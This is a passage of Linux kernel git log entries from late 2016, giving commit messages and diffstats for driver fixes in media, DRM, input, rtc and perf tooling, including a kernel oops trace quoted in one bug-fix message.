st_sensors: fetch and enable regulators unconditionally"). The explanation for this change is same as in that patch: "Supplies are *not* optional (optional means that the supply is optional in the electrical sense, not the software sense) so we need to get the and enable them at all times. If the device tree or board file does not define suitable regulators for the component, it will be substituted by a dummy regulator, or, if regulators are disabled altogether, by stubs. There is no need to use the IS_ERR_OR_NULL() check that is considered harmful. Reported-by: Linus Wallerij Suggested-by: Jonathan Cameron Signed-off-by: Crt Mori Signed-off-by: Jonathan Cameron drivers/iio/pressure/ms5611_core.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 621efefc9b3135408de818c01528bc3adacd557c Author: Hans de Goede Date: Fri Aug 26 16:52:36 2016 +0200 ARM: dts: sun8i-q8-common: Add support for SDIO wifi controllers Most of the sun8i q8 boards have an SDIO wifi controller, on the variants which use an USB wifi controller, this will result in a couple of error msg-s in dmesg when proving the sdio bus and an used mmc controller. The best way to deal with wifi on this boards really is to simply let the kernel auto-detect usb or sdio wifi controllers, so we will just have to live with the few errors in dmesg. This has been tested on a23 based q8 tablets with ESP8089, RTL8703AS and RTL8189FTV wifi controllers. Signed-off-by: Hans de Goede Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun8i-q8-common.dtsi | 49 ++++++++++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) commit e0dc7c837dd0f514abce47101c04ce0ce243188e Author: Fabio Estevam Date: Sun Aug 21 23:22:54 2016 -0300 drm/fsl-dcu: disable clock on error path In fsl_dcu_drm_pm_resume() we should disable the previously enabled clock (fsl_dev->clk) when enabling fsl_dev->pix_clk fails. Signed-off-by: Fabio Estevam Signed-off-by: Stefan Agner drivers/gpu/drm/fsl-dcu/fsl_dcu_drm_drv.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit acd4d615bc5b4035a542ea3458fdee3b5d6f0f78 Author: Wei Yongjun Date: Mon Jul 25 07:08:07 2016 +0000 drm/fsl-dcu: use PTR_ERR_OR_ZERO() to simplify the code Use PTR_ERR_OR_ZERO rather than if(IS_ERR(...)) + PTR_ERR. Generated by: scripts/coccinelle/api/ptr_ret.cocci Signed-off-by: Wei Yongjun Signed-off-by: Stefan Agner drivers/gpu/drm/fsl-dcu/fsl_tcon.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit 6cc4758ae91c0582f07e3c94c7de1ad0975feff5 Author: Stefan Agner Date: Fri Sep 2 11:23:37 2016 -0700 drm/fsl-dcu: fix endian issue when using clk_register_divider Since using clk_register_divider to setup the pixel clock, regmap is no longer used. Regmap did take care of DCU using different endianness. Check endianness using the device-tree property "big-endian" to determine the location of DIV_RATIO. Cc: stable@vger.kernel.org Fixes: 2d701449bce1 ("drm/fsl-dcu: use common clock framework for pixel clock divider") Reported-by: Meng Yi Signed-off-by: Stefan Agner Tested-by: Meng Yi drivers/gpu/drm/fsl-dcu/fsl_dcu_drm_drv.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit e62c30e76829d46bf11d170fd81b735f13a014ac Author: Sakari Ailus Date: Wed Aug 31 09:38:54 2016 -0300 [media] smiapp: Remove set_xclk() callback from hwconfig The clock framework is generally so well supported that there's no reason to keep this one around. Signed-off-by: Sakari Ailus Reviewed-by: Sebastian Reichel Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/smiapp/smiapp-core.c | 49 ++++++++++++---------------------- include/media/i2c/smiapp.h | 2 -- 2 files changed, 17 insertions(+), 34 deletions(-) commit 567716c5817cbcc482f70724d7f98aa6702c6e4c Author: Sakari Ailus Date: Sat Aug 13 12:46:50 2016 -0300 [media] smiapp: Switch to gpiod API for GPIO control Switch from the old gpio API to the new descriptor based gpiod API. Signed-off-by: Sakari Ailus Reviewed-by: Sebastian Reichel Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/smiapp/smiapp-core.c | 36 +++++++++++----------------------- drivers/media/i2c/smiapp/smiapp.h | 1 + include/media/i2c/smiapp.h | 3 --- 3 files changed, 12 insertions(+), 28 deletions(-) commit 7374300191c862a785dbf4c5f3d7b52ee00c7b45 Author: Sakari Ailus Date: Sat Aug 13 12:49:17 2016 -0300 [media] smiapp: Constify the regs argument to smiapp_write_8s() The data may now be const as well. Signed-off-by: Sakari Ailus Reviewed-by: Sebastian Reichel Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/smiapp/smiapp-quirk.c | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) commit 51d2d72b669dab689f18923ec2aba24bc3ccc161 Author: Sakari Ailus Date: Mon Aug 29 17:28:25 2016 -0300 [media] smiapp: Return -EPROBE_DEFER if the clock cannot be obtained The clock may be provided by a driver which is yet to probe. Print the actual error code as well. Signed-off-by: Sakari Ailus Reviewed-by: Sebastian Reichel Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/smiapp/smiapp-core.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 697a521fbc6dd6f64489d0feeb09631b227fcd67 Author: Sakari Ailus Date: Thu Aug 11 07:43:50 2016 -0300 [media] smiapp: Rename smiapp_platform_data as smiapp_hwconfig This is really configuration to the driver originating from DT or elsewhere. Do not call it platform data. Signed-off-by: Sakari Ailus Reviewed-by: Sebastian Reichel Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/smiapp/smiapp-core.c | 140 ++++++++++++++++---------------- drivers/media/i2c/smiapp/smiapp-quirk.c | 4 +- drivers/media/i2c/smiapp/smiapp.h | 2 +- include/media/i2c/smiapp.h | 2 +- 4 files changed, 74 insertions(+), 74 deletions(-) commit 073fe63513edfc7f072fa35c6fd23c919d1b8a03 Author: Sakari Ailus Date: Sat Dec 13 18:53:37 2014 -0200 [media] smiapp: Unify enforced and need-based 8-bit read Unify enforced 8-bit read access with that based on actual need. Signed-off-by: Sakari Ailus Reviewed-by: Sebastian Reichel Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/smiapp/smiapp-regs.c | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) commit 3c59bb4750659bf893e12fd9728a1ebbda930018 Author: Mauro Carvalho Chehab Date: Mon Sep 5 06:55:59 2016 -0300 [media] cx231xx-cards: unregister IR earlier Without this patch, a bug is issued when the module is removed: [ 1417.425863] cx231xx 1-3.1.4:1.1: Cx231xx dvb Extension removed [ 1417.571923] BUG: unable to handle kernel paging request at ffffffffc081a024 [ 1417.571962] IP: [] string+0x24/0x80 [ 1417.571987] PGD 1c09067 PUD 1c0b067 PMD 88e653067 PTE 0 [ 1417.572013] Oops: 0000 [#1] SMP [ 1417.572026] Modules linked in: mb86a20s dvb_core cx231xx_alsa ir_kbd_i2c(-) tda18271 tea5767 tuner cx25840 cx231xx i2c_mux videobuf_vmalloc tveeprom cx2341x videobuf_core rc_core v4l2_common videodev media bnep usblp fuse xt_CHECKSUM iptable_mangle tun ebtable_filter ebtables ip6table_filter ip6_tables xt_physdev br_netfilter bridge nf_log_ipv4 nf_log_common xt_LOG xt_conntrack ipt_MASQUERADE nf_nat_masquerade_ipv4 iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack cpufreq_stats vfat fat snd_hda_codec_hdmi snd_hda_codec_realtek snd_hda_codec_generic intel_rapl x86_pkg_temp_thermal intel_powerclamp coretemp kvm_intel snd_hda_intel snd_hda_codec kvm snd_hda_core snd_hwdep snd_seq snd_seq_device snd_pcm irqbypass crct10dif_pclmul iTCO_wdt crc32_pclmul nfsd hci_uart iTCO_vendor_support [ 1417.572317] snd_timer ghash_clmulni_intel btbcm intel_cstate btqca snd intel_uncore btintel intel_rapl_perf mei_me bluetooth mei shpchp soundcore pcspkr i2c_i801 auth_rpcgss wmi acpi_als kfifo_buf nfs_acl industrialio rfkill lockd pinctrl_sunrisepoint pinctrl_intel tpm_tis tpm intel_lpss_acpi intel_lpss acpi_pad grace sunrpc binfmt_misc hid_logitech_hidpp hid_logitech_dj 8021q garp stp llc mrp i915 i2c_algo_bit drm_kms_helper drm e1000e sdhci_pci sdhci mmc_core crc32c_intel ptp pps_core video i2c_hid fjes analog gameport joydev [last unloaded: rc_pixelview_002t] [ 1417.572487] CPU: 4 PID: 24493 Comm: rmmod Tainted: G W 4.7.0+ #2 [ 1417.572504] Hardware name: /NUC6i7KYB, BIOS KYSKLi70.86A.0041.2016.0817.1130 08/17/2016 [ 1417.572526] task: ffff880894b81e80 ti: ffff880896bdc000 task.ti: ffff880896bdc000 [ 1417.572544] RIP: 0010:[] [] string+0x24/0x80 [ 1417.572564] RSP: 0018:ffff880896bdfbe8 EFLAGS: 00010286 [ 1417.572577] RAX: ffffffffc081a025 RBX: ffff8808935aa15c RCX: ffff0a00ffffff04 [ 1417.572594] RDX: ffffffffc081a024 RSI: ffffffffffffffff RDI: ffff8808935aa15c [ 1417.572610] RBP: ffff880896bdfbe8 R08: fffffffffffffffe R09: ffff8808935aa91c [ 1417.572628] R10: ffffffffc07b85d6 R11: 0000000000000000 R12: ffff8808935aa91c [ 1417.572644] R13: 00000000000007c5 R14: ffffffffc07b85dd R15: ffffffffc07b85dd [ 1417.572662] FS: 00007f5a5392d700(0000) GS:ffff8808bed00000(0000) knlGS:0000000000000000 [ 1417.572681] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 1417.572705] CR2: ffffffffc081a024 CR3: 0000000897188000 CR4: 00000000003406e0 [ 1417.572735] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 1417.572761] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [ 1417.572778] Stack: [ 1417.572785] ffff880896bdfc48 ffffffff813dcf77 0000000000000005 ffff8808935aa157 [ 1417.572806] ffff880896bdfc58 ffff0a00ffffff04 000000009d27375e ffff8808935aa000 [ 1417.572829] 0000000000000800 ffff880896182800 0000000000000000 ffff88089e898ae0 [ 1417.572850] Call Trace: [ 1417.572860] [] vsnprintf+0x2d7/0x500 [ 1417.572873] [] add_uevent_var+0x82/0x120 [ 1417.572890] [] rc_dev_uevent+0x2d/0x60 [rc_core] [ 1417.572907] [] dev_uevent+0xd9/0x2d0 [ 1417.572921] [] kobject_uevent_env+0x2d9/0x4f0 [ 1417.572938] [] kobject_uevent+0xb/0x10 [ 1417.572954] [] device_del+0x18f/0x260 [ 1417.572974] [] ? kobject_put+0x27/0x50 [ 1417.572998] [] rc_unregister_device+0x75/0xb0 [rc_core] [ 1417.573028] [] ir_remove+0x23/0x30 [ir_kbd_i2c] [ 1417.573055] [] i2c_device_remove+0x58/0xb0 [ 1417.573078] [] __device_release_driver+0xa1/0x160 [ 1417.573102] [] driver_detach+0xa6/0xb0 [ 1417.573122] [] bus_remove_driver+0x55/0xd0 [ 1417.573146] [] driver_unregister+0x2c/0x50 [ 1417.573168] [] i2c_del_driver+0x22/0x50 [ 1417.573194] [] ir_kbd_driver_exit+0x10/0x46c [ir_kbd_i2c] [ 1417.573227] [] SyS_delete_module+0x1b8/0x220 [ 1417.573254] [] entry_SYSCALL_64_fastpath+0x1a/0xa4 [ 1417.573279] Code: eb e9 76 ff ff ff 90 55 49 89 f1 48 89 ce 48 c1 fe 30 48 81 fa ff 0f 00 00 48 89 e5 4c 8d 46 ff 76 40 48 85 f6 74 4e 48 8d 42 01 <0f> b6 12 84 d2 74 43 49 01 c0 31 f6 eb 0c 48 83 c0 01 0f b6 50 [ 1417.573437] RIP [] string+0x24/0x80 [ 1417.573455] RSP [ 1417.573465] CR2: ffffffffc081a024 [ 1417.580053] ---[ end trace 4ca9e2eced326a62 ]--- Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/cx231xx/cx231xx-cards.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 461af077d349b11106ca084e9ef2973a753d33ff Author: Mauro Carvalho Chehab Date: Mon Sep 5 05:56:37 2016 -0300 [media] cx231xx: can't proceed if I2C bus register fails The driver should not ignore errors while registering the I2C bus, as this device can't even minimally work without the buses, as it uses those buses internally to talk with the several IP blocks inside the chip. Cc: stable@vger.kernel.org Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/cx231xx/cx231xx-core.c | 24 +++++++++++++++++++----- 1 file changed, 19 insertions(+), 5 deletions(-) commit 4001dfb4b54dc4b7e5e765f686766e3db88d175b Author: Mauro Carvalho Chehab Date: Mon Sep 5 05:41:53 2016 -0300 [media] cx231xx-i2c: handle errors with cx231xx_get_i2c_adap() The cx231xx_get_i2c_adap() function should return the I2C adapter that will be used to talk with a device. It should never be NULL, as otherwise the driver will try to dereference a null pointer. We might instead fix the callers, but if this condition ever happens, it is really a driver bug, because i2c_port should always be a value from enum CX231XX_I2C_MASTER_PORT. Found when checking the code due to this bug: [ 39.769021] BUG: unable to handle kernel NULL pointer dereference at 0000000000000002 [ 39.769105] IP: [] i2c_master_send+0x13/0x70 Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/cx231xx/cx231xx-i2c.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7adc79980da0a227ecb778b949ed250463599d4d Author: Mauro Carvalho Chehab Date: Sat Sep 3 14:36:16 2016 -0300 [media] cx231xx-core: fix GPIO comments The number of the cx231xx REQ for GPIO register set/get are wrong. They should follow what's there at cx231xx-pcb-cfg.h. Noticed while checking the cx231xx parser at the v4l-utils. Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/cx231xx/cx231xx-core.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit dc4af7821f4b74c06e536162d43614a95c51ffe5 Author: Mauro Carvalho Chehab Date: Sun Sep 4 10:08:17 2016 -0300 [media] cx231xx: prints error code if can't switch TV mode If something bad happens when switching between digital and analog mode, prints an error and outputs the returned code. Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/cx231xx/cx231xx-core.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit 24b923f073ac37eb744f56a2c7f77107b8219ab2 Author: Mauro Carvalho Chehab Date: Sun Sep 4 10:06:39 2016 -0300 [media] cx231xx: fix GPIOs for Pixelview SBTVD hybrid This device uses GPIOs: 28 to switch between analog and digital modes: on digital mode, it should be set to 1. The code that sets it on analog mode is OK, but it misses the logic that sets it on digital mode. Cc: stable@vger.kernel.org Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/cx231xx/cx231xx-cards.c | 2 +- drivers/media/usb/cx231xx/cx231xx-core.c | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) commit 1871d718a9db649b70f0929d2778dc01bc49b286 Author: Mauro Carvalho Chehab Date: Sun Sep 4 09:56:33 2016 -0300 [media] cx231xx: don't return error on success The cx231xx_set_agc_analog_digital_mux_select() callers expect it to return 0 or an error. Returning a positive value makes the first attempt to switch between analog/digital to fail. Cc: stable@vger.kernel.org Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/cx231xx/cx231xx-avcore.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 505a0ea706fc1db4381baa6c6bd2e596e730a55e Author: Mauro Carvalho Chehab Date: Sun Sep 4 10:43:53 2016 -0300 [media] mb86a20s: fix demod settings With the current settings, only one channel locks properly. That's likely because, when this driver was written, Brazil were still using experimental transmissions. Change it to reproduce the settings used by the newer drivers. That makes it lock on other channels. Tested with both PixelView SBTVD Hybrid (cx231xx-based) and C3Tech Digital Duo HDTV/SDTV (em28xx-based) devices. Cc: stable@vger.kernel.org Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-frontends/mb86a20s.c | 92 ++++++++++++++++------------------ 1 file changed, 42 insertions(+), 50 deletions(-) commit dafb65fb98d85d8e78405e82c83e81975e5d5480 Author: Mauro Carvalho Chehab Date: Sun Sep 4 10:16:18 2016 -0300 [media] mb86a20s: fix the locking logic On this frontend, it takes a while to start output normal TS data. That only happens on state S9. On S8, the TS output is enabled, but it is not reliable enough. However, the zigzag loop is too fast to let it sync. As, on practical tests, the zigzag software loop doesn't seem to be helping, but just slowing down the tuning, let's switch to hardware algorithm, as the tuners used on such devices are capable of work with frequency drifts without any help from software. Cc: stable@vger.kernel.org Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-frontends/mb86a20s.c | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) commit bc0495c41d397a85a8c8828bcb13e49a8d293762 Author: Mauro Carvalho Chehab Date: Mon Sep 5 07:21:27 2016 -0300 [media] tea5767: use module prefix on printed messages use pr_fmt() & friends for error messages to output like: [ 9.651721] tea5767: Chip ID is not zero. It is not a TEA5767 Signed-off-by: Mauro Carvalho Chehab drivers/media/tuners/tea5767.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit 36dba13bda9e33ed22b8c8bcff5283a2d54578da Author: Mauro Carvalho Chehab Date: Mon Sep 5 07:21:18 2016 -0300 [media] tda18271: use prefix on all printk messages Some messages have a hardcoded prefix; others not. Use the pr_fmt() to ensure that all messages will use the same prefix. Signed-off-by: Mauro Carvalho Chehab drivers/media/tuners/tda18271-fe.c | 11 ++++++----- drivers/media/tuners/tda18271-priv.h | 2 ++ 2 files changed, 8 insertions(+), 5 deletions(-) commit 5049d31bc34d64b255b0470cace7d0221f0d6b0f Merge: 8c87a44 87171fb Author: Mauro Carvalho Chehab Date: Mon Sep 5 15:13:27 2016 -0300 Merge branch 'docs-next' of git://git.lwn.net/linux into patchwork * 'docs-next' of git://git.lwn.net/linux: doc-rst: define PDF's of the media folder doc-rst: generic way to build PDF of sub-folders docs: sphinx-extensions: add metadata parallel-safe docs-rst: kernel-doc: fix typedef output in RST format docs-rst: improve typedef parser docs: kernel-parameter: Improve the description of nr_cpus and maxcpus docs-rst: kernel-doc: better output struct members commit db808498ae2c922c9bd3eaf39a7526581468a79b Author: Baoyou Xie Date: Mon Sep 5 10:33:28 2016 -0700 Input: focaltech - mark focaltech_set_resolution() static We get 1 warning when building kernel with W=1: drivers/input/mouse/focaltech.c:393:6: warning: no previous prototype for 'focaltech_set_resolution' [-Wmissing-prototypes] In fact, this function is only used in the file in which it is declared and don't need a declaration, but can be made static. So this patch marks it 'static'. Signed-off-by: Baoyou Xie Acked-by: Arnd Bergmann Signed-off-by: Dmitry Torokhov drivers/input/mouse/focaltech.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 4e7482332236d9f0c8f6df2e80fd73ad68363c35 Author: HungNien Chen Date: Mon Sep 5 10:25:36 2016 -0700 Input: wdt87xx_i2c - fix the flash erase issue The spec says that flash erase time is 30ms typical/200ms max, so let's replace current 50ms wait with 200ms to avoid potential failures. Signed-off-by: HungNien Chen Signed-off-by: Dmitry Torokhov drivers/input/touchscreen/wdt87xx_i2c.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit de56bea05b09aa1f3498ee12df8f995aaf259dd7 Author: Vladimir Zapolskiy Date: Sat Sep 3 10:39:07 2016 -0700 Input: gpio-keys-polled - don't use unit-address with button nodes The change corrects an example in device tree documentation section, because button/key device nodes don't contain reg property there is no need to declare unit-address, and address and size cell properties are also redundant. At the moment a compilation of the hypothetical original example should produce W=1 level warnings, and it is better to stop spreading misusage of the polled gpio keys device tree binding through this example. Signed-off-by: Vladimir Zapolskiy Signed-off-by: Dmitry Torokhov Documentation/devicetree/bindings/input/gpio-keys-polled.txt | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit e8b61b3f2c5d3ee7804766621c91f38737d38105 Author: Thomas Gleixner Date: Wed Jun 1 10:43:29 2016 +0200 futex: Add some more function commentry Add some more comments and reformat existing ones to kernel doc style. Signed-off-by: Thomas Gleixner Signed-off-by: Sebastian Andrzej Siewior Reviewed-by: Darren Hart Link: http://lkml.kernel.org/r/1464770609-30168-1-git-send-email-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner kernel/futex.c | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) commit de75ccdd4118ca41ac473c1ab96365280c631cdd Author: Alexandre Belloni Date: Wed Aug 31 18:15:28 2016 +0200 rtc: asm9260: rework locking The rtc-asm9260 driver uses a discrete spinlock (wrongly uninitialized). Use the rtc mutex to lock mmio accesses instead. Signed-off-by: Alexandre Belloni drivers/rtc/rtc-asm9260.c | 20 +++++--------------- 1 file changed, 5 insertions(+), 15 deletions(-) commit 7f742e8e8ad4c54ae66820c91bbbb6526a461117 Author: Alexandre Belloni Date: Wed Aug 31 18:15:27 2016 +0200 rtc: asm9260: allow COMPILE_TEST The rtc-asm9260 driver compiles correctly on other architectures, add COMPILE_TEST to improve code coverage. Signed-off-by: Alexandre Belloni drivers/rtc/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 545d5d657b720e9c4dc773265bb7e9d88e34b269 Author: Punit Agrawal Date: Tue May 31 13:56:48 2016 +0100 genirq: Update stale comment for __irq_domain_add Commit 1bf4ddc46c5d ("irqdomain: Introduce irq_domain_create_{linear, tree}") introduced the use of fwnode_handle to identify the interrupt controller when calling __irq_domain_add but missed updating the kernel doc parameters for the function. Update this comment. While we are touching this code, also consolidate the declaration and assignment of of_node. Signed-off-by: Punit Agrawal Acked-by: Marc Zygnier Link: http://lkml.kernel.org/r/1464699409-23113-1-git-send-email-punit.agrawal@arm.com Signed-off-by: Thomas Gleixner kernel/irq/irqdomain.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit fc32de9358c0a7b6f7c4639a3a8056b10a9b7669 Author: Dave Gordon Date: Thu Aug 18 18:17:24 2016 +0100 drm/i915/guc: revisit GuC loader message levels Some downgraded from DRM_ERROR() to DRM_WARN() or DRM_NOTE(), a few upgraded from DRM_INFO() to DRM_NOTE() or DRM_WARN(), and one eliminated completely. v2: different permutation of levels :) v3: convert a couple of "this shouldn't happen" messages to WARN() Signed-off-by: Dave Gordon Reviewed-by: Tvrtko Ursulin Signed-off-by: Tvrtko Ursulin drivers/gpu/drm/i915/intel_guc_loader.c | 34 ++++++++++++++++----------------- 1 file changed, 17 insertions(+), 17 deletions(-) commit 535b2f5e12d0b04a3f34c70edcbcd43993c27f3a Author: Dave Gordon Date: Thu Aug 18 18:17:23 2016 +0100 drm/i915/guc: downgrade some DRM_ERROR() messages to DRM_WARN() Where we're going to continue regardless of the problem, rather than fail, then the message should be a WARNing rather than an ERROR. Signed-off-by: Dave Gordon Reviewed-by: Tvrtko Ursulin Signed-off-by: Tvrtko Ursulin drivers/gpu/drm/i915/i915_guc_submission.c | 18 +++++++----------- 1 file changed, 7 insertions(+), 11 deletions(-) commit 30b0da8d556e65ff935a56cd82c05ba0516d3e4a Author: Dave Gordon Date: Thu Aug 18 18:17:22 2016 +0100 drm: extra printk() wrapper macros We had only DRM_INFO() and DRM_ERROR(), whereas the underlying printk() provides several other useful intermediate levels such as NOTICE and WARNING. So this patch fills out the set by providing both regular and once-only macros for each of the levels INFO, NOTICE, and WARNING, using a common underlying macro that does all the token-pasting. DRM_ERROR is unchanged, as it's not just a printk wrapper. v2: Fix whitespace, missing ## (Eric Engestrom) Signed-off-by: Dave Gordon Reviewed-by: Eric Engestrom Cc: dri-devel@lists.freedesktop.org Acked-by: Dave Airlie Signed-off-by: Tvrtko Ursulin include/drm/drmP.h | 26 ++++++++++++++++++++------ 1 file changed, 20 insertions(+), 6 deletions(-) commit 0733424c9ba9f42242409d1ece780777272f7ea1 Author: David Hsu Date: Tue Aug 9 14:57:46 2016 -0700 pwm: Unexport children before chip removal Exported pwm channels aren't removed before the pwmchip and are leaked. This results in invalid sysfs files. This fix removes all exported pwm channels before chip removal. Signed-off-by: David Hsu Fixes: 76abbdde2d95 ("pwm: Add sysfs interface") Signed-off-by: Thierry Reding drivers/pwm/core.c | 2 ++ drivers/pwm/sysfs.c | 18 ++++++++++++++++++ include/linux/pwm.h | 5 +++++ 3 files changed, 25 insertions(+) commit be39db9f2932f0ce4e116c71ba5ae2b542e536a7 Author: Arnaldo Carvalho de Melo Date: Thu Sep 1 19:25:52 2016 -0300 perf symbols: Remove symbol_filter_t machinery We're not using it anymore, few users were, but we really could do without it, simplify lots of functions by removing it. Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Masami Hiramatsu Cc: Namhyung Kim Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-1zng8wdznn00iiz08bb7q3vn@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/arch/powerpc/util/sym-handling.c | 2 +- tools/perf/builtin-inject.c | 2 +- tools/perf/builtin-kmem.c | 10 ++- tools/perf/builtin-script.c | 4 +- tools/perf/tests/code-reading.c | 4 +- tools/perf/tests/vmlinux-kallsyms.c | 8 +-- tools/perf/ui/browsers/annotate.c | 2 +- tools/perf/ui/browsers/map.c | 4 +- tools/perf/util/annotate.c | 2 +- tools/perf/util/event.c | 8 +-- tools/perf/util/intel-bts.c | 2 +- tools/perf/util/intel-pt.c | 4 +- tools/perf/util/machine.c | 19 +++--- tools/perf/util/machine.h | 30 +++----- tools/perf/util/map.c | 37 ++++------ tools/perf/util/map.h | 32 ++++----- tools/perf/util/probe-event.c | 17 +++-- tools/perf/util/symbol-elf.c | 32 +++------ tools/perf/util/symbol-minimal.c | 4 +- tools/perf/util/symbol.c | 102 ++++++++++++---------------- tools/perf/util/symbol.h | 18 ++--- 21 files changed, 141 insertions(+), 202 deletions(-) commit c79c809197bf4faaf109d1a7bdc27ecedac375de Author: Arnaldo Carvalho de Melo Date: Thu Sep 1 19:22:02 2016 -0300 perf test vmlinux: Remove dead symbol_filter_t code We don't need to initialize that area as we're not using it afterwards, leftover, ditch it. Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Masami Hiramatsu Cc: Namhyung Kim Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-jb2un8buy4rqawz73mcdm1sn@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/tests/vmlinux-kallsyms.c | 11 +---------- 1 file changed, 1 insertion(+), 10 deletions(-) commit 0890e97c20333c439a9bda6a94dd16ed5f508429 Author: Arnaldo Carvalho de Melo Date: Thu Sep 1 18:53:58 2016 -0300 perf machine: Remove machine->symbol_filter and friends Including machines__set_symbol_filter(), not used anymore. Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Masami Hiramatsu Cc: Namhyung Kim Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-7o1qgmrpvzuis4a9f0t8mnri@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/event.c | 8 +++----- tools/perf/util/intel-bts.c | 2 +- tools/perf/util/intel-pt.c | 4 ++-- tools/perf/util/machine.c | 21 +-------------------- tools/perf/util/machine.h | 4 ---- 5 files changed, 7 insertions(+), 32 deletions(-) commit b6220212d48a9bfbc694d10b38dbdfbaab81f4a0 Author: Arnaldo Carvalho de Melo Date: Thu Sep 1 18:47:15 2016 -0300 perf top: Remove old kernel-only symbol filter Not needed, we already have code to prune aliases. Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Masami Hiramatsu Cc: Namhyung Kim Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-1ysyce7qjgui93gi1efbjwhf@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/builtin-top.c | 27 --------------------------- 1 file changed, 27 deletions(-) commit 608c34de0b3d7bd15340a95ef758b4d8b81ebfc6 Author: Arnaldo Carvalho de Melo Date: Thu Sep 1 17:54:31 2016 -0300 perf symbols: Mark if a symbol is idle in the library This was being done just in 'perf top', but grouping idle symbols should be useful in other places as well, so remove one more symbol_filter_t user by moving this to the symbol library. Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Masami Hiramatsu Cc: Namhyung Kim Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-5r7xitjkzjr9jak1zy3d8u5l@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/builtin-top.c | 3 --- tools/perf/util/symbol-elf.c | 2 +- tools/perf/util/symbol.c | 32 +++++++++++++++++++++++--------- tools/perf/util/symbol.h | 2 +- 4 files changed, 25 insertions(+), 14 deletions(-) commit 4174879b2e5a2620d9f5c1935de0c9204b34cd1c Merge: 8e3562f d98de49 Author: Paolo Bonzini Date: Mon Sep 5 16:00:24 2016 +0200 Merge branch 'x86/amd-avic' of git://git.kernel.org/pub/scm/linux/kernel/git/joro/iommu into HEAD Merge IOMMU bits for virtualization of interrupt injection into virtual machines. commit 3c1627e999e45e292d5d7ea3751ed86a6383ee2c Author: Thomas Gleixner Date: Mon Sep 5 15:28:36 2016 +0200 cpu/hotplug: Replace anon union Some compilers are unhappy with the anon union in the state array. Replace it with a named union. While at it align the state array initializers proper and add the missing name tags. Fixes: cf392d10b69e "cpu/hotplug: Add multi instance support" Reported-by: Ingo Molnar Reported-by: Fenguang Wu Signed-off-by: Thomas Gleixner Cc: rt@linutronix.de kernel/cpu.c | 145 ++++++++++++++++++++++++++++++----------------------------- 1 file changed, 74 insertions(+), 71 deletions(-) commit c0b172e5b6770048751b2c0a4fe44346c2080c5d Merge: c9bbdd4 6243b9d Author: Ingo Molnar Date: Mon Sep 5 15:15:49 2016 +0200 Merge tag 'perf-core-for-mingo-20160901' of git://git.kernel.org/pub/scm/linux/kernel/git/acme/linux into perf/core Pull perf/core improvements and fixes from Arnaldo Carvalho de Melo: User visible changes: - Support generating cross arch probes, i.e. if you specify a vmlinux file for different arch than the one in the host machine, $ perf probe --definition function_name args will generate the probe definition string needed to append to the target machine /sys/kernel/debug/tracing/kprobes_events file, using scripting (Masami Hiramatsu). - Make 'perf probe' skip the function prologue in uprobes if program compiled without optimization, using the same strategy as gdb and systemtap uses, fixing a bug where: $ perf probe -x ./test 'foo i' When 'foo(42)' was used on the "./test" executable would produce i=0 instead of the expected i=42 (Ravi Bangoria) - 